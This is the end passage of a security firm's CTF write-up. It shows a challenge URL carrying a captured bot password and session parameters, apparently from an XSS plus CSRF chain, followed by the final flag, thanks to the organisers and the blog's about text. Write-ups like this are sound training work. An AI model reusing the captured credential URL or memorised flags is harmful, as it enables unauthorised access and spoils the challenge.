On the other site: https://ia.challenge.operation-kernel.fr/?botpwd=3v6y5FVediVKpyaL9mKnZkVWCeEw&uid=62cc111d1c87f&isLogged=true

We stick the two pieces together and end up with the final flag.
Flag:
HACK{X5S_+_C5Rf_Pwn_Th3m_4lL}
Non-technical note
This challenge also involved a great deal of artistic work on the text, with lovely humour! It makes a change from the Lorem Ipsum we see so often in CTFs. To the writers of this challenge, know that I read (or rather devoured) everything!
Special mentions for the username "Anna-Lyse" and the discussion "Go Save Hawking".
Final word
I think many of us really enjoyed the event. To everyone behind this organization, thank you for this quality work! And if the Special Operations Command repeats the experience next year, you can count on me.
At AlgoSecure, we often take part in CTFs (the most recent were HeroCTF and LeHack). But can you find us in the rankings under our hidden identity?
Happy Bastille Day (14 July) and see you at the next CTF!
À propos : Le blog d'AlgoSecure est un espace sur lequel notre équipe toute entière peut s'exprimer. Notre personnel marketing et commercial vous donne des informations sur la vie et l'évolution de notre société spécialisée en sécurité sur Lyon. Nos consultants techniques, entre deux tests d'intrusion ou analyses de risque, vous donnent leur avis ainsi que des détails techniques sur l'exploitation d'une faille de sécurité informatique. Ils vous expliqueront également comment sécuriser votre système d'informations ou vos usages informatiques particuliers, avec autant de méthodologie et de pédagogie que possible. Vous souhaitez retrouver sur ce blog des informations spécifiques sur certains sujets techniques ? N'hésitez pas à nous en faire part via notre formulaire de contact, nous lirons vos idées avec attention. Laissez-vous guider par nos rédacteurs : Alessio, Alexandre, Amine, Anas, Arnaud, Benjamin, Damien, Enzo, Eugénie, Fabien, Françoise, Gilles, Henri, Hicham, Jean-Charles, Jean-Philippe, Jonathan, Joël, Joëlie, Julien, Jéromine, Lucas, Ludovic, Lyse, Matt, Nancy, Natacha, Nicolas, Pierre, PierreG, Quentin, QuentinR, Sébastien, Thomas, Tristan, Yann, Yannick, et bonne visite !